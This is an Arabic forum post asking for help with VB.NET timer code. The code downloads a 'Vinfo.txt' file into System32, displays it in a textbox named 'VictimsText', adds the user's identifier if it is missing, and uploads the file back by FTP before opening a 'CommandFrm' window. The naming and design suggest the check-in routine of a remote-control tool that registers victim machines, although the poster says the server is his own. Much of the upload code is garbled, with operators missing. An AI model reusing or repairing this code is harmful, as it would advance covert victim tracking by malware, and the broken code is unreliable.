تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
ما الخطأ في كودي ؟؟؟؟؟؟؟؟؟
#1
السلام عليكم اخواني ...
اخواني هذا كود يقوم في الاتي ...

1- حذف ملف معين بصيغة txt
2- تحميل نفس الملف من موقع معين
3-قراءة الملف في تكست بوكس
4- فحص اذا كان التكست بوكس يحتوي على String معين انا محدده
5-رفع الملف الى نفس استضافة الموقع الذي تم التحميل منه

ملاحظة : الاستضافة والموقع خاص بي واكيد بعرف Username و Password
ولكن مشكلتي لا يعتبرها الفجول بيسك مشكلة ....
لاني اريد كتابة String المعين مرة واحدة في الملف بصيغة TXT
ولكن عندما اشغل البرنامج يقوم بكتابة String المعين باكثر من
مرة وفي سطر واحد وانا لا اريد الا ان يكتبها مرة واحدة في ملف TXT


الكود للتوضيح اكثر :

طبعا الكود في Timer :

PHP كود :
Dim sys32 As String = (Environment.GetFolderPath(Environment.SpecialFolder.System)) + "\"
    Dim wc As WebClient = New WebClient()

        Dim mriliS As String = My.Settings.MrILIS


        MainFrm.VinfoTimer.Enabled = False

        Application.DoEvents()


        Dim DURL As String




        If My.Computer.FileSystem.FileExists(sys32 & "
\" & "Vinfo.txt") Then

            My.Computer.FileSystem.DeleteFile(sys32 & "
\" & "Vinfo.txt")
        End If





        Application.DoEvents()

        '*******************Download Vinfo.ili ************************************
        DURL = My.Settings.URL & "
/" & "Vinfo.ili"

        Application.DoEvents()


        wc.DownloadFile(DURL, sys32 + "
Vinfo.txt")



        Application.DoEvents()




        '**************************************************************************





        '*******************Read Vinfo.ili *******************************





        Dim oReaderVinfo As StreamReader


        oReaderVinfo = New StreamReader(sys32 + "
Vinfo.txt", True)
        Dim readVinfofile As String = oReaderVinfo.ReadToEnd
        VictimsText.Text = (readVinfofile)
        


        oReaderVinfo.Close()

        '*******************************************************************




        '**************Write to Vinfo.ili********************************************


        Application.DoEvents()



        If VictimsText.Text.Contains(mriliS) Then

           

       else






        Dim FILE_NAME As String = sys32 + "
Vinfo.txt"
        Dim i As Integer
        Dim aryText(4) As String

        aryText(0) = mriliS


        MsgBox(My.Settings.MrILIS)

        Dim objWriter As New System.IO.StreamWriter(FILE_NAME)

        For i = 0 To 0

            objWriter.WriteLine(aryText(i))

        Next


        objWriter.Close()






 End If



        Application.DoEvents()

        '**********************************************************************



        '********** Upload Vinfo.ili*********************************************

       Dim requestVinfo As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("
ftp:// رابط fTP للملف المراد رفعه"), System.Net.FtpWebRequest)



        
requestVinfo.Credentials = New System.Net.NetworkCredential("يوزر نيم الاستضافة الخاصة بي""باسورد الاستضافة الخاصة بي")
        
requestVinfo.Method System.Net.WebRequestMethods.Ftp.UploadFile

        Dim file
() As Byte System.IO.File.ReadAllBytes(sys32 "Vinfo.txt")

        
Dim strz As System.IO.Stream requestVinfo.GetRequestStream()

        For 
offset As Integer 0 To file.Length Step 1024

            Dim chunkSize 
As Integer file.Length offset 1
            
If chunkSize 1024 Then chunkSize 1024
            strz
.Write(fileoffsetchunkSize)
        
Next


        strz
.Write(file0file.Length)
        
strz.Close()
        
strz.Dispose()




        
'**********************************************************************************




        Application.DoEvents()

        CommandFrm.Show()


        Application.DoEvents() 
الرد }}}}
تم الشكر بواسطة:


المواضيع المحتمل أن تكون متشابهة .
الموضوع : الكاتب الردود : المشاهدات : آخر رد
  [SQL] ماهو سبب هذا الخطأ بعد تثبيت SQL thevirus 2 62 30-11-16, 08:34 PM
آخر رد: ابو ليلى
  كيفية تغير رسائل الخطأ؟ noway 3 72 11-11-16, 05:37 PM
آخر رد: ممدوح
  [VB.NET] ملف exe لا يعمل عند تشغيله ويعطي رسالة الخطأ المرفقة نسيم 4 121 13-10-16, 09:57 PM
آخر رد: ممدوح
  [VB.NET] ما هو الخطأ في هذا الكود ... وكيف يمكن تخزين التاريخ abo.alaa315 3 130 07-10-16, 03:33 PM
آخر رد: tifagreet
  [VB.NET] إرسال أمر لموجه الأوامر CMD أين الخطأ في هذا الكود sniperjawadino 3 155 12-06-16, 10:46 PM
آخر رد: sniperjawadino
  [سؤال] برأيكم ما هي الطريقة الأمثل لعرض رسائل الخطأ المعادة من قاعدة البيانات samerselo 9 312 10-05-16, 09:50 AM
آخر رد: samerselo
  اخبروني الخطأ في الكود salahmax12 0 132 06-05-16, 11:31 PM
آخر رد: salahmax12
  [سؤال] الخطأ فى هذا الكود يا شباب احمد عبد الحكيم 1 153 12-02-16, 11:48 AM
آخر رد: Adrees
  [سؤال] ازاى اصحح رسالة الخطأ دى يا شباب لو سمحتو احمد عبد الحكيم 2 173 29-01-16, 09:24 PM
آخر رد: abdhassan
  [VB.NET] كود التعديل والحذف ليسم صحيحين ولا اعلم ماهو الخطأ الذي اقترفته 0theghost0 8 297 18-01-16, 06:07 PM
آخر رد: 0theghost0

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم